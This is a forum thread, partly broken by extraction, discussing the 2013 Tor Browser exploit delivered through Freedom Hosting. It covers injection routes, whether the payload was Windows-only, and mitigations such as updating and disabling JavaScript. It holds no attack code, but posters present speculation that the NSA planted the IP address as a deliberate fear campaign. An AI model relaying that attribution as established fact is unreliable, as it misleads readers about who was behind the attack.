Note that traversing an exit node is not the same as &visiting an infected site& - one can pass through an evil exit node hosted on a server without &visiting& any serve that's the nature of Tor. What's been reported thus far on the #torsploit situation is that the malware is being served when people try to v assuming that proves accurate, it means you speak correctly in pointing at &infected sites& and intentional visits to a server resource, rather than simply traversing an evil exit node.
ForumHelper
66 75 63 6b 50 52 49 53 4d
Cryptocloud_Team wrote:
We've been told by smart folks that the &useragent = NT& isn't actually going to filter for only Windows machines, as the Tor Browser Bundle package
report their useragent as &NT.& We've not yet confirmed that, but the folks who told us are much smarter than we are, so we tend to expect it'll prove true.
That would mean it's not unique to Windows, potentially. It is, however, very clearly Firefox 17 (or earlier) specific.
That makes sense based on the UA string. But the values being referenced as part of the payload point to specific dwords and dlls, I'm lead to believe the payload was Win specific... and while it's also possible it was just redundant code for multiple OSes... similarly, I trust people &smarter than me& when it comes to this stuff. To that end, I'll take their word on it that the code was nondiscriminatory w/r to OS. After all, the luxury of assumed safety is something no one has anymore.
Cryptocloud_Team wrote:
Apparently, in recent releases of Tor Browser Bundle, it's turned on by default. This we have not yet confirmed, so that's second-hand info currently.
Unfortunately, this is a &detail& that
users of Tor missed prior to use:
This is the risk we all take with tradeoffs between security and anonymity. You can have more anonymity (increase the size of the flock) or you can have better security. In at least some instances, the two can be mutually exclusive when the majority (flock) are not security conscious.
Cryptocloud_Team wrote:
And, yes, traffic must flow through an &infected& (more accurately, compromised) exit node - which injects the iframe and attendant javascript. Hence, when someone took down Freedomhost and gained backend access to it, they were able to introduce to the malware at the server side. That's the assumption, in theory, it'd be possible to remotely exploit the server and install the malware-injecting components without requiring that the entire hosting facility be taken over... or indeed without the owner of the server even knowing it's been exploited.
Note that traversing an exit node is not the same as &visiting an infected site& - one can pass through an evil exit node hosted on a server without &visiting& any serve that's the nature of Tor. What's been reported thus far on the #torsploit situation is that the malware is being served when people try to v assuming that proves accurate, it means you speak correctly in pointing at &infected sites& and intentional visits to a server resource, rather than simply traversing an evil exit node.
I appreciate the distinction you make here -- and I agree that it's an important one to make since many people are not aware of the risks of traffic manipulation over the unencrypted portion of Tor's network (exit nodes). As I understand it, this exploit could have been delivered any of three main ways (or a combination):
1 - Manipulation of http traffic by an &evil exit node& to inject the malicious JS and iframe
2 - Local / backend server-side injection
3 - Remote injection (if the actual server resource was discovered -- which we all know is possible with a little bit of $ and effort) -- being perhaps the most nefarious since it can be site / page specific and without any signs of compromise
But, afaik, (so far) we don't know which of these was
used. Because of the targeted nature of the attack (one host and I've heard but cannot directly confirm that *not all* FH sites were compromised) it stands to reason that either method 2 or 3 was used. Had traversal of an &evil exit node& been the issue, the problem would have likely been more widespread since exit nodes do not map to specific server resources by design.
The obvious question being asked by many folks following this little conflagration is:
why would they make such an obvious &mistake& as leaving the hard-coded IP address in the publicly-visible javascript, just waiting to be 'discovered' by some geek with too much free time on her hands?
The thing is, assuming it's a &mistake& is counter-logical and would make Occam roll in his grave (assuming he was buried, and not burned, or whatever). It's not a mistake. Folks at that level of professional competence aren't going to &accidentally& leave an IP space waggin' in the wind like that - it's not even
, it's sub-amateur. There's whole forms of artistry that have evolved around obfuscation of C&C infrastructures, cat-and-mouse games with malware researchers that have extended years, decades. See also: fast flux DNS.
The issue of &attack attribution& is a big one when the big boys talk about nation-level cyber conflict. Tracking back who did what, uncovering false flags, and false-flagged false flags... these guys know that game very, very well. They've forgotten more than us mere mortals are likely to learn in a lifetime.
So it's not a mistake. What then? By definition, it's intentional. That must be true. As such, it's a signal - a public statement of sorts, for those who will read it. What's it saying?
I believe it's saying this:
You kids were thinking that you could use Tor to play your secret games, and that you'd never be found out - you thought your cryptographic goodies were magical armour. Well, Tor's great - it works, basically. But, we're the U.S. federal government... maybe you've heard of us? We have quite a bit of power, and we're flexing our muscles. We can't take out Tor directly, not without more hassle than we think it's worth. But we can infect a whack of hidden services, just like that... and brand everyone involved as child pornographers. Just like that. Who is going to argue with us? And we
you to know it's us - but we aren't going to put a press release out. Nope, we'll just leave a very concise calling card in our javascript, so you get the memo and get it loud and clear. The memo reads: National Security Agency. Maybe you've heard of us...
It's psyops - a fear campaign. FUD on meth. They want to scare folks off Tor, scare folks off all privacy services. They want people to feel vulnerable, insecure, uncertain... they want them to doubt everything they think they know about online security. And sticking the three letters - NSA - on the whole thing does a great job at that, doesn't it?
That's my $0.02, in any case...
transformation through
Site Admin
in the Higgs ocean...
Agree 100.00% on the FUD / psyops speculation. While it's almost certainly not *exclusively* psy ops, the IP address was certainly intentional. One simply does not write hand-obfuscated code like that and then put one's IP:80 in plain view. I think that's an extremely safe assumption. If people think it's a mistake, they have grossly and substantively underestimated their adversary.
There have also been a few additional developments sent out via torproject mailing list:
Some known, some new information. Still some unknowns (e.g. what they will DO with the information they collected), but a good summary nonetheless.
The major points are (dr):
- The FF memory bug that was exploited was patched in the latest release of the TBB (TBB version 2.3.25-10 / included FF version 17.0.7esr) which was released on 6/26/2012 (the day after the FF bug was reported as patched in FF version 17.0.7esr)
- The shell code was Windows-specific and other OSes
to be safe (Linux, Mac OS, non-Win VM / live CD)
- So the users that were *most* vulnerable to the attack were those using an outdated (just by one version - perhaps a thin margin for some) version of the TBB *and* running Windows *and* allowing JS globally (default setting). It would therefore appear that if you were either (1) running the most current TBB OR (2) not running Windows OR (3) disallowing JS globally (set by user) then you
be OK. Cannot emphasize &should& enough.
- Somewhat &official& recommendation of turning JavaScript OFF (something they have pandered to for &usability& reasons in the past - 'bout damn time)
OK, so I sort of skimmed over a bunch of the tech stuff, but one thing that I suspect requires better explanation (to me and/or others) is the &use NoScript& solution for browsing on TOR.
If the exitnode is compromised, and there is some zero day (or other) exploit to a browser that is available to the NSA or whoever such as was the case here, isn't it true that at
no time can you enable scripts for any page, even one you trust?
This is unlike the general use of NoScript where you can trust some sites but not others (I use NoScript at work, and I may log into my yahoo mail and tell NoScript that ya, I trust Yahoo, then I may read about some nasty website off on some dodgy link, and NoScript will be enabled by default for that):
YOU MUST ALWAYS LEAVE ALL JS AS UNTRUSTED.
With the exitnode being compromised, every byte that goes through the link is not trustworthy. Thus the fact that I trust a particular site is irrelevant. That isn't obvious to non-tech folks, and isn't clear in that TOR press release (here
Just trying to help.
已发表评论数()
&&登&&&陆&&}